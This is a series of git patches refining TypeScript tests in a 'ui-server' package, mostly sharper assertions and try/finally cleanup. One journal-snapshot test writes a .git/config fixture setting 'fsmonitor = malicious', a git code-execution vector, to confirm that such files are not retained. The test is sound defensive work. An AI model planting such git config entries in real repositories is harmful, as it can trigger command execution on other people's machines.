expect(safeResolve("notes/foo-link.md", root)).resolves.toBeTruthy(); + await expect(safeResolve("notes/foo-link.md", root)).resolves.toBe(join(await realpath(root), "notes/foo-link.md")); } finally { await rm(join(root, ".brain"), { recursive: true, force: true }); await rm(join(root, "notes/foo-link.md"), { force: true }); @@ -237,9 +237,8 @@ describe("listDirectory", () => { const names = entries.map((e) => e.name); // Fixture has `.gitignore`; should not be listed expect(names).not.toContain(".gitignore"); - for (const n of names) { - expect(n.startsWith(".")).toBe(false); - } + expect(names).toContain("README.md"); + expect(names.filter((n) => n.startsWith("."))).toEqual([]); }); test("excludes build/dependency manifests by name", async () => { @@ -253,20 +252,23 @@ describe("listDirectory", () => { ]) { await fs.writeFile(join(root, name), "{}"); } - const entries = await listDirectory("", root); - const names = entries.map((e) => e.name); - expect(names).not.toContain("package.json"); - expect(names).not.toContain("package-lock.json"); - expect(names).not.toContain("bun.lock"); - expect(names).not.toContain("skills-lock.json"); - // Cleanup so subsequent tests aren't affected - for (const name of [ - "package.json", - "package-lock.json", - "bun.lock", - "skills-lock.json", - ]) { - await fs.rm(join(root, name)); + try { + const entries = await listDirectory("", root); + const names = entries.map((e) => e.name); + expect(names).not.toContain("package.json"); + expect(names).not.toContain("package-lock.json"); + expect(names).not.toContain("bun.lock"); + expect(names).not.toContain("skills-lock.json"); + } finally { + // Cleanup so subsequent tests aren't affected + for (const name of [ + "package.json", + "package-lock.json", + "bun.lock", + "skills-lock.json", + ]) { + await fs.rm(join(root, name), { force: true }); + } } }); @@ -335,8 +337,11 @@ describe("readFileContent", () => { test("rejects file_too_large", async () => { const big = join(root, "big.txt"); await writeFile(big, Buffer.alloc(FILE_SIZE_CAP_BYTES + 1, 65)); - await expect(readFileContent("big.txt", root)).rejects.toBeInstanceOf(TooLargeError); - await rm(big); + try { + await expect(readFileContent("big.txt", root)).rejects.toBeInstanceOf(TooLargeError); + } finally { + await rm(big, { force: true }); + } }); test("rejects path escape", async () => { @@ -398,14 +403,19 @@ describe("the brain's scratch area (#310)", () => { // What a chat link to `brain render --scratch` output resolves to. await mkdir(join(root, ".brain/scratch"), { recursive: true }); await writeFile(join(root, ".brain/scratch/trip.pdf"), "%PDF-1.7 scratch"); - const response = await createFilesRoutes({ brainRoot: root }).request( - `/files/content?path=${encodeURIComponent(".brain/scratch/trip.pdf")}&raw=1` - ); - expect(response.status).toBe(200); - expect(response.headers.get("content-type")).toBe("application/pdf"); - expect(await response.text()).toBe("%PDF-1.7 scratch"); - const top = await listDirectory("", root); - expect(top.map((e) => e.name)).not.toContain(".brain"); + try { + const response = await createFilesRoutes({ brainRoot: root }).request( + `/files/content?path=${encodeURIComponent(".brain/scratch/trip.pdf")}&raw=1` + ); + expect(response.status).toBe(200); + expect(response.headers.get("content-type")).toBe("application/pdf"); + expect(await response.text()).toBe("%PDF-1.7 scratch"); + const top = await listDirectory("", root); + expect(top.map((e) => e.name)).not.toContain(".brain"); + } finally { + // The scratch-link test lists .brain/scratch exactly; leave nothing for it. + await rm(join(root, ".brain"), { recursive: true, force: true }); + } }); }); @@ -460,9 +470,14 @@ describe("buildWikilinkMap", () => { test("first sorted match wins on slug collisions", async () => { await writeFile(join(root, "notes/README.md"), "A second README in the same tree."); - const map = await buildWikilinkMap(root); - // The sorted walk visits notes/ before README.md at the root. - expect(map["readme"]).toBe("notes/README.md"); + try { + const map = await buildWikilinkMap(root); + // The sorted walk visits notes/ before README.md at the root. + expect(map["readme"]).toBe("notes/README.md"); + } finally { + // Left behind, it takes the "readme" slug from every later map. + await rm(join(root, "notes/README.md"), { force: true }); + } }); }); @@ -518,8 +533,9 @@ test("browsing parses its ignore snapshot despite an unrelated FIFO", async () = expect(made.exitCode, made.stderr.toString()).toBe(0); try { const listing = await listDirectory("", root); - expect(listing.some(entry => entry.name === "README.md"), "IGNORE_DATA_SNAPSHOT_ONLY").toBe(true); - expect(listing.some(entry => entry.name === "secret")).toBe(false); + const names = listing.map(entry => entry.name); + expect(names, "IGNORE_DATA_SNAPSHOT_ONLY").toContain("README.md"); + expect(names).not.toContain("secret"); } finally { await rm(fifo, { force: true }); } }); From fd9a88643aec9e6bc8565a20a7c3fb6d6c55300e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:00:16 +0100 Subject: [PATCH 219/252] test(ui-server): pin the inbox v1 effect rejection and make inbox store/notify failures print their values Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#23 --- packages/ui-server/tests/inbox-notify.test.ts | 2 +- packages/ui-server/tests/inbox-store.test.ts | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/packages/ui-server/tests/inbox-notify.test.ts b/packages/ui-server/tests/inbox-notify.test.ts index 60dd18713e..53499d7b5b 100644 --- a/packages/ui-server/tests/inbox-notify.test.ts +++ b/packages/ui-server/tests/inbox-notify.test.ts @@ -471,7 +471,7 @@ test("ambiguous outcomes stay distinct from success, retry within the bound and // The attempt budget is spent: no fourth attempt, no claimed delivery. w.modes.set(mast, "ok"); expect(await w.tick(athens(1, 9))).toEqual([]); - expect(w.attempts().some((a) => a.outcome === "success")).toBe(false); + expect(w.attempts().map((a) => a.outcome)).toEqual(["ambiguous", "ambiguous", "ambiguous"]); }); test("a gone destination is pruned and no device credential reaches history", async () => { diff --git a/packages/ui-server/tests/inbox-store.test.ts b/packages/ui-server/tests/inbox-store.test.ts index fa7b247c8e..bd1d196038 100644 --- a/packages/ui-server/tests/inbox-store.test.ts +++ b/packages/ui-server/tests/inbox-store.test.ts @@ -270,7 +270,7 @@ describe("durable inbox store", () => { }, }, ]) - ).toThrow(); + ).toThrow("No matching discriminator"); expect(() => store.commit([ { @@ -655,8 +655,8 @@ describe("durable inbox store", () => { expect( changes .filter((change) => change.kind.startsWith("remove_")) - .every((change) => change.threadId === "thread-seed") - ).toBe(true); + .map((change) => change.threadId) + ).toEqual(["thread-seed", "thread-seed", "thread-seed"]); expect(store.snapshot().highWaterSeq["thread-seed"]).toBeGreaterThan(0); expect(() => store.projectionForRun("thread-seed")).toThrow("removed"); }); @@ -850,8 +850,8 @@ describe("durable inbox store", () => { }); expect(store.projectionForRun("thread-seed").facts).toEqual(facts); expect( - readdirSync(dir).every((filename) => filename.startsWith("ui.sqlite")) - ).toBe(true); + readdirSync(dir).filter((filename) => !filename.startsWith("ui.sqlite")) + ).toEqual([]); }); test("migration 021 preserves a populated 020 database and applies once", () => { From 1e08647c78d63d1839df2275c1611302a8e1a44d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:00:20 +0100 Subject: [PATCH 220/252] test(ui-server): make the idle-maintenance startup test fail without the journal's own pass, and show compared values in purge and snapshot assertions Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#24 --- .../ui-server/tests/journal-idle-maintenance.test.ts | 3 ++- packages/ui-server/tests/journal-index-purge.test.ts | 10 ++++++---- packages/ui-server/tests/journal-snapshot.test.ts | 2 +- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/packages/ui-server/tests/journal-idle-maintenance.test.ts b/packages/ui-server/tests/journal-idle-maintenance.test.ts index 45ca31595b..9c6ec85b68 100644 --- a/packages/ui-server/tests/journal-idle-maintenance.test.ts +++ b/packages/ui-server/tests/journal-idle-maintenance.test.ts @@ -37,7 +37,8 @@ function fixture(idleObservationMs?: number) { test("the observer is initialized once startup recovery commits, before any admission", async () => { const f = fixture(3_600_000); try { - await f.journal.ready; await f.journal.maintain(); + // No explicit maintain(): the pass under test is the one the journal starts once ready settles. + await f.journal.ready; await f.journal.idle(); expect(f.checkpoints.map(item => item.phase), "JOURNAL_INITIALIZED_BEFORE_FIRST_ADMISSION").toContain("boot"); } finally { await f.close(); } }); diff --git a/packages/ui-server/tests/journal-index-purge.test.ts b/packages/ui-server/tests/journal-index-purge.test.ts index 9f95ff6515..9e527d3f8b 100644 --- a/packages/ui-server/tests/journal-index-purge.test.ts +++ b/packages/ui-server/tests/journal-index-purge.test.ts @@ -115,7 +115,7 @@ test("journal open purges the index bytes earlier releases retained, keeping the await seedLegacyHistory(f); f.raw(db => db.query("INSERT INTO turn_journal_object_quarantine VALUES (?,0,'Error','Odysseus interrupted publication','fixture')").run(INDEX_HASHES[0]!)); const before = f.raw(dump); - expect(INDEX_HASHES.every(hash => f.files().has(hash)), "LEGACY_INDEX_OBJECTS_RETAINED_BEFORE_PURGE").toBe(true); + expect(INDEX_HASHES.filter(hash => !f.files().has(hash)), "LEGACY_INDEX_OBJECTS_RETAINED_BEFORE_PURGE").toEqual([]); const accountedBefore = f.raw(objectBytes); await f.open(); const presented = f.journal.details("ithaca", "voyage")!; @@ -207,8 +207,10 @@ test("an object another record of the same turn names keeps its pin and bytes, w expect(f.db.query("SELECT 1 AS pinned FROM turn_journal_object_refs WHERE turn_id=? AND hash=?").get(turn, sha(bytes[turn])), `SAME_TURN_SHARED_PIN_KEPT ${turn}`).toEqual({ pinned: 1 }); } expect(f.journal.hasRetainedVersion("removal", version(bytes.removal) as never), "REMOVAL_ORIGINAL_STILL_RESTORABLE").toBe(true); - expect(f.files().has(sha(reverted.shared)) && !!f.db.query("SELECT 1 FROM turn_journal_object_refs WHERE turn_id='revert_bow' AND hash=?").get(sha(reverted.shared)), "REVERT_RECORD_SHARED_OBJECT_KEPT").toBe(true); - expect(f.files().has(sha(reverted.index)) || !!f.db.query("SELECT 1 FROM turn_journal_object_refs WHERE hash=?").get(sha(reverted.index)), "REVERT_ONLY_INDEX_OBJECT_PURGED").toBe(false); + expect(f.files().has(sha(reverted.shared)), "REVERT_RECORD_SHARED_OBJECT_KEPT").toBe(true); + expect(f.db.query("SELECT turn_id FROM turn_journal_object_refs WHERE hash=?").all(sha(reverted.shared)), "REVERT_RECORD_SHARED_PIN_KEPT").toEqual([{ turn_id: "revert_bow" }]); + expect(f.files().has(sha(reverted.index)), "REVERT_ONLY_INDEX_OBJECT_PURGED").toBe(false); + expect(f.db.query("SELECT turn_id FROM turn_journal_object_refs WHERE hash=?").all(sha(reverted.index)), "REVERT_ONLY_INDEX_PIN_PURGED").toEqual([]); expect(f.db.query("SELECT before_json,after_json FROM turn_journal_revert_paths WHERE operation_id='bow' AND path='.brain-index/brain.db'").get(), "REVERT_RECORD_BOTH_SIDES_REWRITTEN").toEqual({ before_json: JSON.stringify({ kind: "file", mode: 0o644, bytes: reverted.shared.length, ignored: false, metadataOnly: true }), after_json: JSON.stringify({ kind: "file", mode: 0o644, bytes: reverted.index.length, ignored: false, metadataOnly: true }) }); @@ -297,7 +299,7 @@ test("a crash between the purge's commits, or while collecting, resumes at the n // No row names an index object any more, so none dangles while its file still exists. const named = JSON.stringify([...between.changes, ...between.revertPaths, ...between.pins]); expect(INDEX_HASHES.filter(hash => named.includes(hash)), `NO_REFERENCE_SURVIVES_FIRST_STEP ${unlinked}`).toEqual([]); - expect(INDEX_HASHES.every(hash => f.files().has(hash)), `OBJECTS_AWAIT_COLLECTION ${unlinked}`).toBe(true); + expect(INDEX_HASHES.filter(hash => !f.files().has(hash)), `OBJECTS_AWAIT_COLLECTION ${unlinked}`).toEqual([]); // A collection that removed one file before its commit was lost leaves only that object's row. if (unlinked) unlinkSync(join(f.objects, INDEX_HASHES[0]!)); await f.open(); diff --git a/packages/ui-server/tests/journal-snapshot.test.ts b/packages/ui-server/tests/journal-snapshot.test.ts index 137e544838..1000461b4d 100644 --- a/packages/ui-server/tests/journal-snapshot.test.ts +++ b/packages/ui-server/tests/journal-snapshot.test.ts @@ -78,7 +78,7 @@ test("native workspace history retains raw HEAD and refs but excludes Git config writeFileSync(join(workspace, ".git/HEAD"), "ref: refs/heads/harbor\r\n"); writeFileSync(join(workspace, ".git/refs/heads/return"), "updated-ref\n"); writeFileSync(join(workspace, "notes/athena.md"), "# Athena\r\nHarbor plan.\r\n"); writeFileSync(join(workspace, ".git/config"), "[core]\nfsmonitor = malicious\n"); writeFileSync(join(workspace, ".git/objects/fixture"), "excluded changed raw Git object"); const details = await f.observe(); - expect(details.changes.some(item => item.path.endsWith(".git/config") || item.path.includes(".git/objects/")), "NATIVE_HISTORY_GIT_EXECUTION_INPUTS_NOT_RETAINED").toBe(false); + expect(details.changes.filter(item => item.path.endsWith(".git/config") || item.path.includes(".git/objects/")).map(item => item.path), "NATIVE_HISTORY_GIT_EXECUTION_INPUTS_NOT_RETAINED").toEqual([]); expect(f.bytes("workspaces/ithaca/.git/HEAD", "before")).toEqual(Buffer.from("ref: refs/heads/return\r\n")); expect(f.bytes("workspaces/ithaca/.git/HEAD", "after")).toEqual(Buffer.from("ref: refs/heads/harbor\r\n")); expect(f.bytes("workspaces/ithaca/.git/refs/heads/return", "after")).toEqual(Buffer.from("updated-ref\n")); From 037a73eb189558f3ad4e6edd51dfc0059e168e7e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:04:30 +0100 Subject: [PATCH 221/252] test(ui-server): compare voice grant authorization headers directly Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#25 --- packages/ui-server/tests/http-discovery-voice.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-server/tests/http-discovery-voice.test.ts b/packages/ui-server/tests/http-discovery-voice.test.ts index ec18672bed..785af3dc14 100644 --- a/packages/ui-server/tests/http-discovery-voice.test.ts +++ b/packages/ui-server/tests/http-discovery-voice.test.ts @@ -87,7 +87,7 @@ test("mounted voice session and legacy token use only short-lived injected grant } else { expect(Object.keys(body).sort()).toEqual(["expiresAt", "token"]); } } expect(calls).toHaveLength(2); - expect(calls.every((c) => c.authorization === "Token fixture-only-deepgram-key")).toBe(true); + expect(calls.map((c) => c.authorization)).toEqual(["Token fixture-only-deepgram-key", "Token fixture-only-deepgram-key"]); expect(calls.map((c) => c.body)).toEqual([{ ttl_seconds: 60 }, { ttl_seconds: 60 }]); refuse = true; for (const path of ["/api/voice/session", "/api/voice/token"]) { From 45249e96cebd85d66c7f4a11f650c1e9c0d9da86 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:04:33 +0100 Subject: [PATCH 222/252] test(ui-server): pin model-pricing reads to the remote table and drop two duplicate cases Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#26 --- .../ui-server/tests/model-pricing.test.ts | 24 ++++--------------- 1 file changed, 4 insertions(+), 20 deletions(-) diff --git a/packages/ui-server/tests/model-pricing.test.ts b/packages/ui-server/tests/model-pricing.test.ts index 03fafc8a1e..542da0a44a 100644 --- a/packages/ui-server/tests/model-pricing.test.ts +++ b/packages/ui-server/tests/model-pricing.test.ts @@ -2,7 +2,6 @@ import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import { chmodSync, mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync } from "fs"; import { tmpdir } from "os"; import { dirname, join } from "path"; -import { canonicalModelId } from "@schlessera/brain-ui-sdk/internal"; import { createModelPricing, pricingCachePath } from "../src/pricing/model-pricing"; import { resolveServerConfig } from "../src/config/env"; @@ -107,13 +106,6 @@ const failingFetch = (() => { throw new Error("network down"); }) as unknown as typeof fetch; -describe("canonicalModelId", () => { - test("strips a dated snapshot suffix and leaves undated ids alone", () => { - expect(canonicalModelId("claude-haiku-4-5-20251001")).toBe("claude-haiku-4-5"); - expect(canonicalModelId("claude-opus-5-5")).toBe("claude-opus-5-5"); - }); -}); - describe("createModelPricing resolution", () => { test("resolves LiteLLM float rates including cache rates", async () => { const pricing = createModelPricing({ brainPath, fetchImpl: stubFetch({}) }); @@ -144,16 +136,6 @@ describe("createModelPricing resolution", () => { }); }); - test("OpenRouter wins for an id both catalogs carry", async () => { - const pricing = createModelPricing({ brainPath, fetchImpl: stubFetch({}) }); - await pricing.refresh(); - - // The LiteLLM fixture prices the same id at 9e-7 — the OpenRouter entry - // must shadow it. - expect(pricing.resolve("z-ai/glm-4.7")!.input).toBe(6e-7); - expect(pricing.resolve("z-ai/glm-4.7")!.source).toBe("openrouter"); - }); - test("a dated Anthropic id resolves via alias canonicalization", async () => { const pricing = createModelPricing({ brainPath, fetchImpl: stubFetch({}) }); await pricing.refresh(); @@ -512,7 +494,8 @@ describe("createModelPricing refresh behavior", () => { await Promise.all([pricing.ensureFresh(), pricing.ensureFresh(), pricing.ensureFresh()]); expect(calls).toHaveLength(2); // one per source, not per caller - expect(pricing.resolve("claude-sonnet-4-5")).not.toBeNull(); + // The fetched table, not the snapshot (which also carries this id). + expect(pricing.resolve("claude-sonnet-4-5")).toMatchObject({ source: "litellm", estimate: false }); }); test("ensureFresh awaits a cold start but returns immediately when stale", async () => { @@ -544,7 +527,8 @@ describe("createModelPricing refresh behavior", () => { pricing.ensureFresh().then(() => "returned"), Bun.sleep(100).then(() => "blocked"), ])).toBe("returned"); - expect(pricing.resolve("claude-sonnet-4-5")).not.toBeNull(); + // The stale remote table keeps serving — not the snapshot fallback. + expect(pricing.resolve("claude-sonnet-4-5")).toMatchObject({ source: "litellm", estimate: false }); } finally { release(); await pricing.refresh(); From 8c1cf35b320d1a704c3b02f5b6681049c5829a32 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:04:43 +0100 Subject: [PATCH 223/252] test(ui-server): models routes assert the resolved backend, the default that survives a custom-model write, and hidden flags by value Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#27 --- packages/ui-server/tests/models-routes.test.ts | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/models-routes.test.ts b/packages/ui-server/tests/models-routes.test.ts index 0e1c3c317e..1c12cd3d33 100644 --- a/packages/ui-server/tests/models-routes.test.ts +++ b/packages/ui-server/tests/models-routes.test.ts @@ -82,7 +82,7 @@ describe("model catalog routes", () => { "claude-opus-5-5", "claude-haiku-4-5", ]); - expect(body.models.every((m: { hidden: boolean }) => !m.hidden)).toBe(true); + expect(body.models.map((m: { hidden: boolean }) => m.hidden)).toEqual([false, false]); // No model source on a fake backend — discovery reports itself unavailable // rather than pretending it refreshed. expect(body.refreshedAt).toBeNull(); @@ -120,7 +120,7 @@ describe("model catalog routes", () => { body: JSON.stringify({ hidden: ["claude-haiku-4-5"] }), }); - expect(await registry.getBackendForProfile("claude-haiku-4-5")).toBeDefined(); + expect((await registry.getBackendForProfile("claude-haiku-4-5"))?.id).toBe("claude"); expect( (await registry.listAllProviders({ includeHidden: true })).map((p: { id: string }) => p.id) ).toContain("claude-haiku-4-5"); @@ -362,6 +362,17 @@ describe("custom OpenRouter model routes", () => { }); expect(response.status).toBe(200); expect(readDefaultModelId(db)).toBeNull(); + + // Only a default whose profile is gone resets: one still on the roster + // survives the same write. + setDefaultModelId(db, "claude-haiku-4-5"); + const kept = await modelRoutes.request("/models/custom", { + method: "PUT", + headers: { "content-type": "application/json" }, + body: JSON.stringify({ models: [] }), + }); + expect(kept.status).toBe(200); + expect(readDefaultModelId(db)).toBe("claude-haiku-4-5"); }); }); From 497018f33395b2f753a6d24d4e458724424bb7e8 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:11:20 +0100 Subject: [PATCH 224/252] test(ui-server): show the retained stderr tail when the maintenance sentinel check fails Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#29 --- .../tests/maintenance-temp-boundary-diagnostics.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts b/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts index 9ff9442aa9..0c7fb74378 100644 --- a/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts +++ b/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts @@ -71,7 +71,7 @@ test("held real worker retains bounded pre-receipt stderr and original exit befo expect(inner.signalCode).toBeNull(); expect(inner.stdout).toBe(""); expect(Buffer.byteLength(inner.stderr)).toBe(512); - expect(inner.stderr.endsWith("ODYSSEUS_INNER_STDERR_SENTINEL\n")).toBe(true); + expect(inner.stderr).toEndWith("ODYSSEUS_INNER_STDERR_SENTINEL\n"); expect(Buffer.byteLength(stderr)).toBeLessThan(8192); expect(readdirSync(temporary), "OWNED_NATIVE_FIXTURE_CLEANED").toEqual([]); const ledgerFile = readdirSync(state).find(name => name.startsWith(".brain-maintenance-") && name.endsWith(".db"))!; From 562a3b06f49b41cdc122747921a651d85a0f0a63 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:11:24 +0100 Subject: [PATCH 225/252] test(ui-server): drop a dead BRAIN_PATH env leak from the graph route tests and make two failures print their values Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#30 --- packages/ui-server/tests/graph-routes.test.ts | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/packages/ui-server/tests/graph-routes.test.ts b/packages/ui-server/tests/graph-routes.test.ts index a56d2642b3..88ba254898 100644 --- a/packages/ui-server/tests/graph-routes.test.ts +++ b/packages/ui-server/tests/graph-routes.test.ts @@ -91,8 +91,7 @@ describe("GET /graph/meta", () => { }); test("a missing brain.db reads as an unavailable graph, not a crash", async () => { - process.env.BRAIN_PATH = `${BRAIN_PATH}-nonexistent`; - + // No fixture: the routes' brainRoot holds no brain.db. const { status, body } = await get("/graph/meta"); expect(status).toBe(200); @@ -228,7 +227,7 @@ describe("GET /graph/clusters", () => { expect(body.truncated).toBe(true); expect(body.nodes).toHaveLength(5000); - expect(body.nodes.some((n) => n.id === 1)).toBe(false); + expect(body.nodes.map((n) => n.id)).not.toContain(1); }); test("refuses with 503 when the graph has never been computed", async () => { @@ -373,7 +372,7 @@ describe("GET /graph/discovery", () => { expect(body.nodes.find((n) => n.id === 1)!.distance).toBe(0); expect(body.nodes.find((n) => n.id === 3)!.distance).toBe(2); // No virtual node: the walk started from a real document. - expect(body.nodes.some((n) => n.virtual)).toBe(false); + expect(body.nodes.filter((n) => n.virtual)).toEqual([]); }); test("an explicit root honours maxDepth", async () => { From e171038f934d66774ee70954e73d1fe2c2eedd8e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:15:04 +0100 Subject: [PATCH 226/252] test(ui-server): kill the index-directory reader namespace in teardown Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#31 --- packages/ui-server/tests/index-directory.test.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/packages/ui-server/tests/index-directory.test.ts b/packages/ui-server/tests/index-directory.test.ts index 5677aa3166..092fccf828 100644 --- a/packages/ui-server/tests/index-directory.test.ts +++ b/packages/ui-server/tests/index-directory.test.ts @@ -45,6 +45,7 @@ function reader(brain: string, source: string, target: string, file: string) { "--bind", source, join(brain, target), "--proc", "/proc", "--dev", "/dev", "--chdir", brain, "/bin/sh", "-c", `printf 'ready\\n'; IFS= read -r go; cat ${JSON.stringify(file)} 2>/dev/null || printf ABSENT`], { stdin: "pipe", stdout: "pipe", stderr: "pipe" }); + cleanup.push(() => child.kill()); const out = child.stdout.getReader(); return { async ready() { From b0ad9fa847a0cc5b2da5ffed207c8330ef73ecae Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:15:08 +0100 Subject: [PATCH 227/252] test(ui-server): schema-contract gate pins computedAt format and community membership Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#32 --- .../tests/integration/brain-db-schema-contract.test.ts | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/integration/brain-db-schema-contract.test.ts b/packages/ui-server/tests/integration/brain-db-schema-contract.test.ts index 941993cb70..f45af3707b 100644 --- a/packages/ui-server/tests/integration/brain-db-schema-contract.test.ts +++ b/packages/ui-server/tests/integration/brain-db-schema-contract.test.ts @@ -145,7 +145,9 @@ describe("graph reader returns real content from a core-indexed corpus", () => { const meta = getGraphMeta(graph, { brainPath }); expect(meta.available, DRIFT).toBe(true); expect(meta.schemaVersion).toBe(writtenSchemaVersion); - expect(meta.computedAt, DRIFT).toBeTruthy(); + // Core stamps the precompute with an ISO-8601 UTC instant; staleness is + // judged by parsing it, so any other shape is drift. + expect(meta.computedAt, DRIFT).toMatch(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/); expect(meta.stale).toBe(false); expect(meta.nodeCount, DRIFT).toBeGreaterThan(10); expect(meta.edgeCount, DRIFT).toBeGreaterThan(10); @@ -168,7 +170,9 @@ describe("graph reader returns real content from a core-indexed corpus", () => { // Precomputed analytics made it through the join. const plan = clusters.nodes.find((n) => n.path === "projects/active/raft/plan.md"); expect(plan?.pagerank, DRIFT).toBeGreaterThan(0); - expect(plan?.community, DRIFT).toBeDefined(); + // The node's community is one the meta lists, not merely present. + const communities = getGraphMeta(graph, { brainPath }).communities.map((c) => c.community); + expect(communities, DRIFT).toContain(plan?.community); expect((plan?.inDegree ?? 0) + (plan?.outDegree ?? 0), DRIFT).toBeGreaterThan(0); expect(clusters.edges.length, DRIFT).toBeGreaterThan(10); }); From 2aa4f4b7b36009e5d58f9b02abb3b247ca7d430d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:19:45 +0100 Subject: [PATCH 228/252] test(ui-server): clear the index run's provider request before the relay tests observe the upstream Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#36 --- packages/ui-server/tests/maintenance-provider-relay.test.ts | 2 ++ 1 file changed, 2 insertions(+) diff --git a/packages/ui-server/tests/maintenance-provider-relay.test.ts b/packages/ui-server/tests/maintenance-provider-relay.test.ts index e849ccc091..e664382f61 100644 --- a/packages/ui-server/tests/maintenance-provider-relay.test.ts +++ b/packages/ui-server/tests/maintenance-provider-relay.test.ts @@ -46,6 +46,8 @@ beforeAll(async () => { GOOGLE_GEMINI_BASE_URL: upstream.url.origin } }); const [code, stderr] = await Promise.all([index.exited, new Response(index.stderr).text()]); if (code !== 0) throw new Error(`brain index --embeddings failed: ${stderr}`); + // The index's own embedding request is setup, not a test's provider contact. + seen.length = 0; }); afterEach(async () => { for (const close of cleanup.splice(0).reverse()) await close(); seen.length = 0; }); afterAll(() => { upstream.stop(true); rmSync(root, { recursive: true, force: true }); }); From 1f8d4bc434fe0de55f4dbc325ea1d453d112394a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:24:52 +0100 Subject: [PATCH 229/252] test(ui-server): pin the live-history failure join and turn ids to their values Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#37 --- packages/ui-server/tests/live-history-track.test.ts | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/packages/ui-server/tests/live-history-track.test.ts b/packages/ui-server/tests/live-history-track.test.ts index f7f443378c..52872df3c4 100644 --- a/packages/ui-server/tests/live-history-track.test.ts +++ b/packages/ui-server/tests/live-history-track.test.ts @@ -46,10 +46,13 @@ test("live history keeps track-file native identity joins before source normaliz const prepare = host.prepareHistory.bind(host); host.prepareHistory = (...args) => { live = prepare(...args); return live; }; const env = await readLiveHistory(host, testPrincipal().id, { sessionId: "odysseus-track-session" }, () => true); - expect(ordinary.filter(m=>m.role === "assistant").every(m=>!!m.turnId)).toBe(true); + const answerTurns = ordinary.filter(m=>m.role === "assistant").map(m=>m.turnId); + expect(answerTurns, "ORDINARY_HISTORY_CARRIES_NATIVE_TURN_IDENTITIES").toEqual([expect.any(String), expect.any(String)]); + expect(new Set(answerTurns).size, "EACH_ANSWER_HAS_ITS_OWN_TURN").toBe(2); expect(live.filter(m=>m.role==="assistant").map(m=>m.turnId), "LIVE_HISTORY_RETAINS_NATIVE_TURN_IDENTITIES").toEqual(ordinary.filter(m=>m.role==="assistant").map(m=>m.turnId)); expect(live.filter(m=>m.role==="user").map(m=>m.turnId),"LIVE_USER_SOURCE_JOINS_EXACT_NATIVE_TURNS").toEqual(live.filter(m=>m.role==="assistant").map(m=>m.turnId)); expect(env!.items.flatMap(i=>i.kind==="typed"&&i.role==="user"?[i.text]:[])).toEqual(["Show this file","And then?"]); + expect(ordinary.at(-1)!.failure).toEqual({ errorClass: "overloaded", message: "Athena could not finish the second calculation." }); expect(live.at(-1)!.failure,"LIVE_HISTORY_RETAINS_NATIVE_FAILURE_JOIN").toEqual(ordinary.at(-1)!.failure); expect(live.at(-1)!.toolCalls).toEqual(ordinary.at(-1)!.toolCalls); expect(env!.items.filter(i=>i.kind === "typed").map(i=>i.text)).toContain("The loop is short."); From 801acac7a7b0ee417ecfd71a228144a0910a7d29 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:24:58 +0100 Subject: [PATCH 230/252] test(ui-server): pin exact validation errors and readable call assertions in http-validation Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#39 --- packages/ui-server/tests/http-validation.test.ts | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/packages/ui-server/tests/http-validation.test.ts b/packages/ui-server/tests/http-validation.test.ts index a88dc5fbac..765b01c99c 100644 --- a/packages/ui-server/tests/http-validation.test.ts +++ b/packages/ui-server/tests/http-validation.test.ts @@ -18,9 +18,10 @@ test("mounted capture rejects incorrect JSON media, oversized bytes and missing expect(await limit.json()).toEqual({ error: "Request body too large" }); const empty = await t.fetch("/api/brain/add", { method: "POST", headers: { "content-type": "application/json" }, body: "{}" }); expect(empty.status).toBe(400); + expect(await empty.json()).toEqual({ error: "Field 'content' is required" }); const calls = existsSync(join(t.brainPath, CLI_LOG)) ? 